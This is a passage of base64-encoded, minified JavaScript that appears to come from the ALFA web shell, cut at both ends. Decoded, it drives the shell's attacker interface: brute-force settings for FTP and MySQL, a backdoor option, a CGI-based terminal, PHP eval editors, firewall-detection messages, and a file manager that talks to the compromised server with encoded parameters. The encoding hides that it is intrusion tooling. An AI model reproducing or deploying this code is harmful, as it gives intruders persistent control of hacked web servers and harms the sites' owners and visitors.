TAsIkRpc2FibGVkIiwiZnRwOi8vIik7YnJlYWs7Y2FzZSJteXNxbCI6YnJ1dGVTZXQoITEsIjMzMDYiLCJodHRwOi8vIik7YnJlYWs7Y2FzZSJmdHBjIjpicnV0ZVNldCghMSwiMjEiLCJodHRwOi8vIil9fWZ1bmN0aW9uIGJydXRlU2V0KGUsYSx0KXtjPSIyMSIhPWE/ImxvY2FsaG9zdCI6ImZ0cC5leGFtcGxlLmNvbSIsJCgicG9ydCIpLmRpc2FibGVkPWUsJCgicG9ydCIpLnZhbHVlPWEsJCgidGFyZ2V0IikudmFsdWU9YywkKCJwcm90b2NvbCIpLnZhbHVlPXR9ZnVuY3Rpb24gaW5CYWNrZG9vcihlKXsibXkiPT1lLnZhbHVlPyQoImJhY2tkb29yX3RleHRhcmVhIikuc3R5bGUuZGlzcGxheT0iYmxvY2siOiQoImJhY2tkb29yX3RleHRhcmVhIikuc3R5bGUuZGlzcGxheT0ibm9uZSJ9ZnVuY3Rpb24gc2F2ZUJ5S2V5KGUpe3JldHVybiEoInMiPT1TdHJpbmcuZnJvbUNoYXJDb2RlKGUud2hpY2gpLnRvTG93ZXJDYXNlKCkmJmUuY3RybEtleXx8MTk9PWUud2hpY2gpfHwoJCgiZWRpdG9yX2VkaXRfYXJlYSIpLm9uc3VibWl0KCksZS5wcmV2ZW50RGVmYXVsdCgpLCExKX1mdW5jdGlvbiBhbGZhQWpheEVycm9yKGUsYSx0LGkpe2lmKHZvaWQgMCE9PWEpe3ZhciBsPWQucXVlcnlTZWxlY3RvcigiI2xvYWRlcl8iK2EpO251bGwhPWwmJihmaXJld2FsbD0iIiw0MDM9PWUmJihmaXJld2FsbD0iIH4gRmlyZVdhbGwgRGV0ZWN0ZWQhIiksbC5xdWVyeVNlbGVjdG9yKCJpbWciKS5yZW1vdmUoKSxsLnF1ZXJ5U2VsZWN0b3IoIi5hbGZhLWFqYXgtZXJyb3IiKS5pbm5lckhUTUw9ZSsiICggIit0K2ZpcmV3YWxsKyIgKSIsYWxmYVNob3dOb3RpZmljYXRpb24odCwiQWpheCIsImVycm9yIikpfX1mdW5jdGlvbiBhbGZhSW5pdEN3ZENvbnRleHQoKXtkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5oZWFkZXJfcHdkIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmFkZEV2ZW50TGlzdGVuZXIoImNvbnRleHRtZW51IixmdW5jdGlvbihlKXt2YXIgYT1lLnRhcmdldC5nZXRBdHRyaWJ1dGUoInBhdGgiKSx0PWQucXVlcnlTZWxlY3RvcigiI3JpZ2h0Y2xpY2tfbWVudSA+IGFbbmFtZT1uZXd0YWJdIik7dC5zZXRBdHRyaWJ1dGUoImhyZWYiLCJqYXZhc2NyaXB0OnZvaWQoMCk7IiksdC5yZW1vdmVBdHRyaWJ1dGUoInRhcmdldCIpLHQub25jbGljaz1mdW5jdGlvbigpe2FsZmFGaWxlc01hbk5ld1RhYihhLCIvIil9O3ZhciBpPWUuY2xpZW50WCxsPWUuY2xpZW50WTthbGZhU29ydE1lbnVJdGVtcyhbIm5ld3RhYiJdKSxhbGZhUmlnaHRDbGlja01lbnUoaSxsKSxlLnByZXZlbnREZWZhdWx0KCl9KX0pfWZ1bmN0aW9uIGFsZmFSaWdodENsaWNrTWVudShlLGEpe3JpZ2h0Y2xpY2tfbWVudV9jb250ZXh0LnRvcD1hKyJweCIscmlnaHRjbGlja19tZW51X2NvbnRleHQubGVmdD1lKyJweCIscmlnaHRjbGlja19tZW51X2NvbnRleHQudmlzaWJpbGl0eT0idmlzaWJsZSIscmlnaHRjbGlja19tZW51X2NvbnRleHQub3BhY2l0eT0iMSJ9ZnVuY3Rpb24gYWxmYVNvcnRNZW51SXRlbXMoZSl7dmFyIGE9WyJuZXd0YWIiLCJsaW5rIiwiZG93bmxvYWQiLCJ2aWV3IiwiZWRpdCIsIm1vdmUiLCJjb3B5IiwicmVuYW1lIiwibW9kaWZ5IiwicGVybWlzc2lvbiIsImNvbXByZXNzIiwiZXh0cmFjdCIsImRlbGV0ZSIsInZpZXdfYXJjaGl2ZSJdLHQ9ITE7Zm9yKHZhciBpIGluIGEpe2Zvcih2YXIgbCBpbiB0PSExLGUpYVtpXSE9ZVtsXXx8KGQucXVlcnlTZWxlY3RvcigiI3JpZ2h0Y2xpY2tfbWVudSA+IGFbbmFtZT0iK2FbaV0rIl0iKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsdD0hMCk7dHx8KGQucXVlcnlTZWxlY3RvcigiI3JpZ2h0Y2xpY2tfbWVudSA+IGFbbmFtZT0iK2FbaV0rIl0iKS5zdHlsZS5kaXNwbGF5PSJub25lIil9fWZ1bmN0aW9uIGFsZmFBY2VDaGFuZ2VTZXR0aW5nKGUsYSl7dmFyIHQ9ZS5vcHRpb25zW2Uuc2VsZWN0ZWRJbmRleF0udmFsdWUsaT1lLmdldEF0dHJpYnV0ZSgiYmFzZSIpLGw9YWxmYV9hY2VfZWRpdG9ycy5lZGl0b3I7ImV2YWwiPT1pJiYobD1hbGZhX2FjZV9lZGl0b3JzLmV2YWwpO3ZhciBvPWUuZ2V0QXR0cmlidXRlKCJhY2VfaWQiKTsibGFuZyI9PWE/bFtvXS5zZXNzaW9uLnNldE1vZGUoImFjZS9tb2RlLyIrdCk6InRoZW1lIj09YSYmbFtvXS5zZXRUaGVtZSgiYWNlL3RoZW1lLyIrdCksc2V0Q29va2llKCJhbGZhX2FjZV8iK2ErIl8iK2ksdCwyMDEyKX1mdW5jdGlvbiBhbGZhQWNlQ2hhbmdlV3JhcE1vZGUoZSxhKXt2YXIgdD1hbGZhX2FjZV9lZGl0b3JzLmVkaXRvcjsiZXZhbCI9PWEmJih0PWFsZmFfYWNlX2VkaXRvcnMuZXZhbCk7dmFyIGk9ZS5nZXRBdHRyaWJ1dGUoImFjZV9pZCIpO2UuY2hlY2tlZD90W2ldLnNlc3Npb24uc2V0VXNlV3JhcE1vZGUoITApOnRbaV0uc2Vzc2lvbi5zZXRVc2VXcmFwTW9kZSghMSl9ZnVuY3Rpb24gYWxmYUFjZUNoYW5nZUZvbnRTaXplKGUsYSx0KXt2YXIgaT1hbGZhX2FjZV9lZGl0b3JzLmVkaXRvcjsiZXZhbCI9PWUmJihpPWFsZmFfYWNlX2VkaXRvcnMuZXZhbCk7dmFyIGw9dC5nZXRBdHRyaWJ1dGUoImFjZV9pZCIpLG89aVtsXS5nZXRGb250U2l6ZSgpOyIrIj09YT8rK286LS1vLGlbbF0uc2V0Rm9udFNpemUobyksc2V0Q29va2llKCJhbGZhX2FjZV9mb250c2l6ZV8iK2UsbywyMDEyKX1mdW5jdGlvbiBzZXRDb29raWUoZSxhLHQpe3ZhciBpPW5ldyBEYXRlO2kuc2V0VGltZShpLmdldFRpbWUoKSsyNCp0KjYwKjYwKjFlMyk7dmFyIGw9ImV4cGlyZXM9IitpLnRvVVRDU3RyaW5nKCk7ZG9jdW1lbnQuY29va2llPWUrIj0iK2ErIjsiK2wrIjtwYXRoPS8ifWZ1bmN0aW9uIGdldENvb2tpZShlKXt2YXIgYT0oIjsgIitkb2N1bWVudC5jb29raWUpLnNwbGl0KCI7ICIrZSsiPSIpO2lmKDI9PWEubGVuZ3RoKXJldHVybiBhLnBvcCgpLnNwbGl0KCI7Iikuc2hpZnQoKX1mdW5jdGlvbiBlZGl0b3JDbG9zZShlKXtpZihkLmJvZHkuc3R5bGUub3ZlcmZsb3c9InZpc2libGUiLGVsZW09JChlKSxlbGVtLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJlZGl0b3ItYW5pbS1jbG9zZSIpLCJlZGl0b3IiPT1lKXtpZihpc19taW5pbWl6ZWQ9ITEsbnVsbCE9YWxmYV9hY2VfZWRpdG9ycy5lZGl0b3ImJm51bGwhPWFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yKXtmb3IodmFyIGEgaW4gYWxmYV9hY2VfZWRpdG9ycy5lZGl0b3IpYWxmYV9hY2VfZWRpdG9ycy5lZGl0b3JbYV0uZGVzdHJveSgpO2FsZmFfYWNlX2VkaXRvcnMuZWRpdG9yPW51bGwsZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLXRhYnMiKS5pbm5lckhUTUw9IiIsZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLWNvbnRlbnQtaG9sZGVyIikuaW5uZXJIVE1MPSIifX1lbHNlIGlmKCJjZ2lsb2FkZXIiPT1lKXBocF90ZW1yaW5hbF91c2luZ19jZ2kmJihkLnF1ZXJ5U2VsZWN0b3IoIi50ZXJtaW5hbC10YWJzIikuaW5uZXJIVE1MPSIiLGQucXVlcnlTZWxlY3RvcigiLnRlcm1pbmFsLWNvbnRlbnRzIikuaW5uZXJIVE1MPSIiKSxwaHBfdGVtcmluYWxfdXNpbmdfY2dpPSExLGNnaV9pc19taW5pbWl6ZWQ9ITE7ZWxzZSBpZigib3B0aW9uc193aW5kb3ciPT1lKXtpZihvcHRpb25zX3dpbmRvd19pc19taW5pbWl6ZWQ9ITEsbnVsbCE9YWxmYV9hY2VfZWRpdG9ycy5ldmFsKXtmb3IodmFyIGEgaW4gYWxmYV9hY2VfZWRpdG9ycy5ldmFsKWFsZmFfYWNlX2VkaXRvcnMuZXZhbFthXS5kZXN0cm95KCk7YWxmYV9hY2VfZWRpdG9ycy5ldmFsPW51bGwsZC5xdWVyeVNlbGVjdG9yQWxsKCIucGhwLWV2YWxzIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLnJlbW92ZUF0dHJpYnV0ZSgiYWNlIil9KX19ZWxzZSJkYXRhYmFzZV93aW5kb3ciPT1lJiYoZGF0YWJhc2Vfd2luZG93X2lzX21pbmltaXplZD0hMSk7c2V0VGltZW91dChmdW5jdGlvbigpe2VsZW09JChlKSxlbGVtLnJlbW92ZUF0dHJpYnV0ZSgiY2xhc3MiKSxlbGVtLnN0eWxlLmRpc3BsYXk9Im5vbmUiLCJvcHRpb25zX3dpbmRvdyI9PWUmJihlbGVtLnF1ZXJ5U2VsZWN0b3IoIi5vcHRpb25zX3RhYiIpLmlubmVySFRNTD0iIixlbGVtLnF1ZXJ5U2VsZWN0b3IoIi5vcHRpb25zX2NvbnRlbnQiKS5pbm5lckhUTUw9IiIpfSwxZTMpLGQuYm9keS5zdHlsZS5vdmVyZmxvdz0idmlzaWJsZSJ9ZnVuY3Rpb24gcG9wdXBXaW5kb3dCYWNrUG9zaXRpb24oKXt2YXIgZT17Y2dpbG9hZGVyOmNnaV9pc19taW5pbWl6ZWQsb3B0aW9uc193aW5kb3c6b3B0aW9uc193aW5kb3dfaXNfbWluaW1pemVkLGRhdGFiYXNlX3dpbmRvdzpkYXRhYmFzZV93aW5kb3dfaXNfbWluaW1pemVkLGVkaXRvcjppc19taW5pbWl6ZWR9LGE9W107Zm9yKHZhciB0IGluIGUpZVt0XSYmYS5wdXNoKHQpOzE9PWEubGVuZ3RoPyQoYVswXSsiLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iMzAlIjoyPT1hLmxlbmd0aD8oJChhWzBdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSIyMCUiLCQoYVsxXSsiLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iNTAlIik6Mz09YS5sZW5ndGg/KCQoYVswXSsiLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iMCUiLCQoYVsxXSsiLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iMzAlIiwkKGFbMl0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjYwJSIpOjQ9PWEubGVuZ3RoJiYoJChhWzBdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSIwJSIsJChhWzFdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSIzMCUiLCQoYVsyXSsiLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iNTUlIiwkKGFbM10rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjgwJSIpfWZ1bmN0aW9uIHNob3dFZGl0b3IoZSl7aWYoJChlKS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwiZWRpdG9yLWFuaW0tc2hvdyIpLCQoZSsiLW1pbmltaXplZCIpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJtaW5pbWl6ZWQtaGlkZSIpLCJlZGl0b3IiPT1lKWlzX21pbmltaXplZD0hMTtlbHNlIGlmKCJjZ2lsb2FkZXIiPT1lKWNnaV9pc19taW5pbWl6ZWQ9ITE7ZWxzZSBpZigib3B0aW9uc193aW5kb3ciPT1lKXtvcHRpb25zX3dpbmRvd19pc19taW5pbWl6ZWQ9ITE7dmFyIGE9ZC5xdWVyeVNlbGVjdG9yKCIjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfdGFiIC50YWJfbmFtZS50YWJfaXNfYWN0aXZlLnRhYi1pcy1kb25lIik7bnVsbCE9YSYmYS5jbGFzc0xpc3QucmVtb3ZlKCJ0YWItaXMtZG9uZSIpfWVsc2UiZGF0YWJhc2Vfd2luZG93Ij09ZSYmKGRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWQ9ITEpO3BvcHVwV2luZG93QmFja1Bvc2l0aW9uKCksZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJoaWRkZW4ifWZ1bmN0aW9uIGVkaXRvck1pbmltaXplKGUpeyQoZSkuc2V0QXR0cmlidXRlKCJjbGFzcyIsImVkaXRvci1hbmltLW1pbmltaXplIiksJChlKyItbWluaW1pemVkIikuc2V0QXR0cmlidXRlKCJjbGFzcyIsIm1pbmltaXplZC1zaG93IiksImVkaXRvciI9PWU/aXNfbWluaW1pemVkPSEwOiJjZ2lsb2FkZXIiPT1lP2NnaV9pc19taW5pbWl6ZWQ9ITA6Im9wdGlvbnNfd2luZG93Ij09ZT9vcHRpb25zX3dpbmRvd19pc19taW5pbWl6ZWQ9ITA6ImRhdGFiYXNlX3dpbmRvdyI9PWUmJihkYXRhYmFzZV93aW5kb3dfaXNfbWluaW1pemVkPSEwKSxwb3B1cFdpbmRvd0JhY2tQb3NpdGlvbigpLGQuYm9keS5zdHlsZS5vdmVyZmxvdz0idmlzaWJsZSJ9ZnVuY3Rpb24gY2xlYXJFZGl0b3JIaXN0b3J5KCl7aWYoY29uZmlybSgiQXJlIHUgU3VyZT8iKSlmb3IodmFyIGUgaW4gZWRpdG9yX2ZpbGVzKWUhPWVkaXRvcl9jdXJyZW50X2ZpbGUmJnJlbW92ZUhpc3RvcnkoZSl9ZnVuY3Rpb24gaXNBcmNoaXZlKGUpe3ZhciBhLHQ9WyIudGFyLmd6IiwiLnRhci5iejIiLCIudGFyLnoiLCIudGFyLnh6IiwiLnppcCIsIi56aXB4IiwiLjd6IiwiLmJ6MiIsIi5neiIsIi5yYXIiLCIudGFyIiwiLnRneiJdO2ZvcihhIGluIHQpaWYobmV3IFJlZ0V4cCgiKC4qKSgiK3RbYV0ucmVwbGFjZSgvXC4vZywiXFwuIikrIikkIiwiZ2kiKS50ZXN0KGUpKXJldHVybiEwO3JldHVybiExfWZ1bmN0aW9uIGVkaXRvcihlLGEsdCxpLGwsbyl7aWYoImRpciI9PW8mJiIuLiI9PWUpcmV0dXJuITE7aWYoImRvd25sb2FkIj09YSlyZXR1cm4gZygiRmlsZXNUb29scyIsaSxlLCJkb3dubG9hZCIpLCExO3ZhciByPSIiLG49IiIscz0iIixjPSIiLGY9ZC5tZi5jLnZhbHVlLF89ITA7aWYoZT1lLnRyaW0oKSwwPT1PYmplY3Qua2V5cyhlZGl0b3JfZmlsZXMpLmxlbmd0aCl7dmFyIHU9Z2V0Q29va2llKCJhbGZhX2hpc3RvcnlfZmlsZXMiKTt0cnl7Zm9yKHZhciBwIGluIHU9YXRvYih1KSxlZGl0b3JfZmlsZXM9SlNPTi5wYXJzZSh1KSlpbnNlcnRUb0hpc3RvcnkocCxlZGl0b3JfZmlsZXNbcF0uZmlsZSwwLGVkaXRvcl9maWxlc1twXS50eXBlKX1jYXRjaChlKXt9fWlmKCJwaGFyOi8vIj09ZS5zdWJzdHIoMCw3KSlmPWNfO2Vsc2UgaWYoLTEhPWUuaW5kZXhPZigiLyIpKXt2YXIgbT1lLnNwbGl0KCIvIik7ZT1tW20ubGVuZ3RoLTFdLGRlbGV0ZSBtW20ubGVuZ3RoLTFdLGY9bS5qb2luKCIvIiksaXNsaW51eCYmKGY9Ii8iK2YpfWlmKHZvaWQgMD09PW8mJihvPSIiKSx2b2lkIDAhPT1pJiZudWxsIT1pJiYwIT1pLmxlbmd0aCYmKGY9aS50cmltKCkpLCJhdXRvIj09YSYmaXNBcmNoaXZlKGUpKXJldHVybiBhbGZhU3luY01lbnVUb09wdChlLCEwKSwhMTt0cnl7Zm9yKHZhciB2IGluIGVkaXRvcl9maWxlcylpZihlZGl0b3JfZmlsZXNbdl0uZmlsZT09ZGVjb2RlVVJJQ29tcG9uZW50KGUpJiZlZGl0b3JfZmlsZXNbdl0ucHdkLnJlcGxhY2UoL1wvL2csIiIpPT1mLnJlcGxhY2UoL1wvL2csIiIpKXtfPSExLGw9djticmVha319Y2F0Y2goZSl7fWlmKGVkaXRvcl9lcnJvcj0hMCx2b2lkIDAhPT10JiYwIT10Lmxlbmd0aCYmbnVsbCE9dCYmKHI9YWxmYWI2NCh0KSksdm9pZCAwIT09bCYmbnVsbCE9bCYmMCE9bC5sZW5ndGgpbj1hbGZhYjY0KGwpLHM9bCxjPWwucmVwbGFjZSgiZmlsZV8iLCIiKTtlbHNle3ZhciBoPSJmaWxlXyIrKGM9Z2V0UmFuZG9tKDEwKSk7bj1hbGZhYjY0KGgpLHM9aH12YXIgYj0iZWRpdG9yX3NvdXJjZV8iK2M7aWYobnVsbD09JChiKSl7dHJ5e2QucXVlcnlTZWxlY3RvcigiLmVkaXRvci1jb250ZW50cy5lZGl0b3ItY29udGVudC1hY3RpdmUiKS5jbGFzc0xpc3QucmVtb3ZlKCJlZGl0b3ItY29udGVudC1hY3RpdmUiKX1jYXRjaChlKXt9dHJ5e2QucXVlcnlTZWxlY3RvcigiLmVkaXRvci10YWJzIC5lZGl0b3ItdGFiLW5hbWUuZWRpdG9yLXRhYi1hY3RpdmUiKS5jbGFzc0xpc3QucmVtb3ZlKCJlZGl0b3ItdGFiLWFjdGl2ZSIpfWNhdGNoKGUpe31kLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItdGFicyIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIiwiPGRpdiBvbmNsaWNrPSdlZGl0b3JUYWJDb250cm9sbGVyKHRoaXMpOycgb3B0X2lkPSciK2IrIicgaWQ9J3RhYl8iK2IrIicgY2xhc3M9J2VkaXRvci10YWItbmFtZSBlZGl0b3ItdGFiLWFjdGl2ZSc+IitkZWNvZGVVUklDb21wb25lbnQoZSkrIiA8aW1nIG9wdF9pZD0nIitiKyInIG9uY2xpY2s9J2Nsb3NlRWRpdG9yQ29udGVudCh0aGlzLGV2ZW50KTtyZXR1cm4gZmFsc2U7JyB0aXRsZT0nW2Nsb3NlXScgc3JjPSdodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvZGVsZXRlLnN2Zyc+PC9kaXY+IiksZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLWNvbnRlbnQtaG9sZGVyIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwiPGRpdiBjbGFzcz0nZWRpdG9yLWNvbnRlbnRzIGVkaXRvci1jb250ZW50LWFjdGl2ZScgaWQ9JyIrYisiJz48L2Rpdj4iKX1yZXR1cm4gMD09aXNfbWluaW1pemVkJiYibm9uZSI9PSQoImVkaXRvciIpLnN0eWxlLmRpc3BsYXk/KCQoImVkaXRvciIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixzaG93RWRpdG9yKCJlZGl0b3IiKSxhbGZhbG9hZGVyKGIsImJsb2NrIikpOihpc19taW5pbWl6ZWQmJnNob3dFZGl0b3IoImVkaXRvciIpLG51bGwhPSQoYik/YWxmYWxvYWRlcihiLCJibG9jayIpOihhbGZhbG9hZGVyKCJlZGl0b3IiLCJibG9jayIpLGI9ImVkaXRvciIpKSxfQWpheChkLlVSTCwiYT0iK2FsZmFiNjQoIkZpbGVzVG9vbHMiKSsiJmM9IithbGZhYjY0KGYpKyImYWxmYTE9IithbGZhYjY0KGUpKyImYWxmYTI9IithbGZhYjY0KGEpKyImYWxmYTM9IityKyImYWxmYTQ9IituKyImYWxmYTU9JmFsZmE2PSZhbGZhNz0mYWxmYTg9JmFsZmE5PSZhbGZhMTA9JiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpLGZ1bmN0aW9uKHQsaSl7dmFyIGw9JCgidGFiXyIraSk7dHJ5e251bGwhPWwmJigoLTE9PWwuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImVkaXRvci10YWItYWN0aXZlIil8fGlzX21pbmltaXplZCkmJihsLmNsYXNzTGlzdC5hZGQoInRhYi1pcy1kb25lIiksYWxmYVNob3dOb3RpZmljYXRpb24oInByb2NjZXNzIGlzIGRvbmUuLi4iLCJFZGl0b3I6ICIrbC5pbm5lclRleHQpKSxpc19taW5pbWl6ZWQmJmFsZmFVcGRhdGVPcHRpb25zQmFkZ2UoImVkaXRvciIpKX1jYXRjaCh0KXt9aWYoIm5vbmUiPT0kKCJlZGl0b3IiKS5zdHlsZS5kaXNwbGF5P2FsZmFMb2FkZXJPblRvcCgibm9uZSIpOmFsZmFsb2FkZXIoaSwibm9uZSIpLHIubGVuZ3RoPjAmJiJlZGl0Ij09YSlyZXR1cm4gaXNfbWluaW1pemVkfHxudWxsIT1sJiYtMSE9bC5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiZWRpdG9yLXRhYi1hY3RpdmUiKSYmYWxmYVNob3dOb3RpZmljYXRpb24oInNhdmVkLi4uISIsIkVkaXRvciIpLCExO2lmKG51bGwhPSQoaSkmJigkKGkpLmlubmVySFRNTD10KSxpc19taW5pbWl6ZWQmJmFsZmFTaG93Tm90aWZpY2F0aW9uKCJwcm9jY2VzcyBpcyBkb25lLi4uIiwiRWRpdG9yOiAiK2RlY29kZVVSSUNvbXBvbmVudChlKSksJCgiZWRpdG9yIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLGV2YWxKUyh0KSxhbGZhTG9hZEFjZUVkaXRvcigidmlld19tbF9jb250ZW50IiksImRlbGV0ZSIhPWEmJmVkaXRvcl9lcnJvcil7dmFyIGM9ZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJpc19hY3RpdmUiKTswIT1jLmxlbmd0aCYmKGNbMF0uY2xhc3NOYW1lPSJmaWxlLWhvbGRlciIpLG49cyxlPWRlY29kZVVSSUNvbXBvbmVudChlKSwhZWRpdG9yX2ZpbGVzW25dJiZfPyhlZGl0b3JfZmlsZXNbbl09e2ZpbGU6ZSxwd2Q6Zix0eXBlOm99LGluc2VydFRvSGlzdG9yeShuLGUsIiBpc19hY3RpdmUiLG8pLCJta2ZpbGUiPT1hJiZnKCJGaWxlc01hbiIsbnVsbCkpOiQobikucGFyZW50Tm9kZS5jbGFzc05hbWUrPSIgaXNfYWN0aXZlIn1kLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImhpZGRlbiIsZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJmaWxlc3Rvb2xzIilbMF0uc2V0QXR0cmlidXRlKCJmaWQiLG4pLGVkaXRvcl9maWxlc1tuXSYmKGQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiZWRpdG9yLXBhdGgiKVswXS5pbm5lckhUTUw9KGVkaXRvcl9maWxlc1tuXS5wd2QrIi8iK2VkaXRvcl9maWxlc1tuXS5maWxlKS5yZXBsYWNlKC9cL1wvL2csIi8iKSksZWRpdG9yX2N1cnJlbnRfZmlsZT1uLHVwZGF0ZUNvb2tpZUVkaXRvcigpfSwhMSxiKSwhMX1mdW5jdGlvbiBhbGZhTG9hZEFjZUVkaXRvcihlLGEpe2lmKHZvaWQgMD09PWEmJihhPSExKSxudWxsPT0kKCJhbGZhLWFjZS1wbHVnaW4iKSl7dmFyIHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cmV0dXJuIHQuc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9hY2UvMS40LjExL2FjZS5qcyIsdC5pZD0iYWxmYS1hY2UtcGx1Z2luIix0Lm9ubG9hZD1mdW5jdGlvbigpe2FsZmFMb2FkQWNlRWRpdG9yKGUsYSl9LGQuYm9keS5hcHBlbmRDaGlsZCh0KSwhMX10cnl7ImFsbG93Ij09JChlKS5nZXRBdHRyaWJ1dGUoIm1vZGUiKSYmKGE9ITEpfWNhdGNoKGUpe31pZigidmlld19tbF9jb250ZW50Ij09ZSl7bnVsbD09YWxmYV9hY2VfZWRpdG9ycy5lZGl0b3ImJihhbGZhX2FjZV9lZGl0b3JzLmVkaXRvcj17fSk7dmFyIGk9Z2V0Q29va2llKCJhbGZhX2FjZV90aGVtZV9lZGl0b3IiKSxsPWdldENvb2tpZSgiYWxmYV9hY2VfZm9udHNpemVfZWRpdG9yIik7dm9pZCAwPT09aSYmKGk9InRlcm1pbmFsIiksMD09aS5sZW5ndGgmJihpPSJ0ZXJtaW5hbCIpLGQucXVlcnlTZWxlY3RvckFsbCgiLmVkaXRvci1hY2UtY29udHJvbGxlciIpLmZvckVhY2goZnVuY3Rpb24oZSl7aWYobnVsbCE9ZS5nZXRBdHRyaWJ1dGUoImFjZSIpKXJldHVybiExO2Uuc2V0QXR0cmlidXRlKCJhY2UiLCJvayIpO3ZhciB0PWdldFJhbmRvbSgxMCksbz1lLnF1ZXJ5U2VsZWN0b3IoIi52aWV3X21sX2NvbnRlbnQiKTtvLnNldEF0dHJpYnV0ZSgiaWQiLCJ2aWV3X21sX2NvbnRlbnQtIit0KSxhbGZhX2FjZV9lZGl0b3JzLmVkaXRvclsidmlld19tbF9jb250ZW50LSIrdF09YWNlLmVkaXQobyksYWxmYV9hY2VfZWRpdG9ycy5lZGl0b3JbInZpZXdfbWxfY29udGVudC0iK3RdLnNldFJlYWRPbmx5KGEpLGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXRTaG93UHJpbnRNYXJnaW4oITEpLGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXRUaGVtZSgiYWNlL3RoZW1lLyIraSksYWxmYV9hY2VfZWRpdG9ycy5lZGl0b3JbInZpZXdfbWxfY29udGVudC0iK3RdLnNlc3Npb24uc2V0TW9kZSgiYWNlL21vZGUvcGhwIiksYWxmYV9hY2VfZWRpdG9ycy5lZGl0b3JbInZpZXdfbWxfY29udGVudC0iK3RdLnNlc3Npb24uc2V0VXNlV3JhcE1vZGUoITApLGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5jb21tYW5kcy5hZGRDb21tYW5kKHtuYW1lOiJzYXZlIixiaW5kS2V5Ont3aW46IkN0cmwtUyIsbWFjOiJDbWQtUyJ9LGV4ZWM6ZnVuY3Rpb24oZSl7ZC5xdWVyeVNlbGVjdG9yKCIjYWNlLXNhdmUtYnRuLSIrdCkuY2xpY2soKX19KSxlLnF1ZXJ5U2VsZWN0b3IoInNlbGVjdC5hY2UtdGhlbWUtc2VsZWN0b3IiKS52YWx1ZT1pLGUucXVlcnlTZWxlY3RvckFsbCgiLmFjZS1jb250cm9sZXIiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2Uuc2V0QXR0cmlidXRlKCJhY2VfaWQiLCJ2aWV3X21sX2NvbnRlbnQtIit0KSwtMSE9ZS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiYWNlLXNhdmUtYnRuIikmJmUuc2V0QXR0cmlidXRlKCJpZCIsImFjZS1zYXZlLWJ0bi0iK3QpfSksdm9pZCAwIT09bCYmc2V0VGltZW91dChmdW5jdGlvbigpe2FsZmFfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXRGb250U2l6ZShwYXJzZUludChsKSl9LDFlMyl9KX1lbHNle251bGw9PWFsZmFfYWNlX2VkaXRvcnMuZXZhbCYmKGFsZmFfYWNlX2VkaXRvcnMuZXZhbD17fSk7aT1nZXRDb29raWUoImFsZmFfYWNlX3RoZW1lX2V2YWwiKSxsPWdldENvb2tpZSgiYWxmYV9hY2VfZm9udHNpemVfZXZhbCIpO3ZvaWQgMD09PWkmJihpPSJ0ZXJtaW5hbCIpLDA9PWkubGVuZ3RoJiYoaT0idGVybWluYWwiKSxkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5waHAtZXZhbHMiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2lmKG51bGwhPWUuZ2V0QXR0cmlidXRlKCJhY2UiKSlyZXR1cm4hMTtlLnNldEF0dHJpYnV0ZSgiYWNlIiwib2siKTt2YXIgdD1lLnF1ZXJ5U2VsZWN0b3IoIi5waHAtZXZhbHMtYWNlIiksbz1nZXRSYW5kb20oMTApO3Quc2V0QXR0cmlidXRlKCJpZCIsInBocGV2YWwtIitvKSxhbGZhX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXT1hY2UuZWRpdCh0KSxhbGZhX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXS5zZXRSZWFkT25seShhKSxhbGZhX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2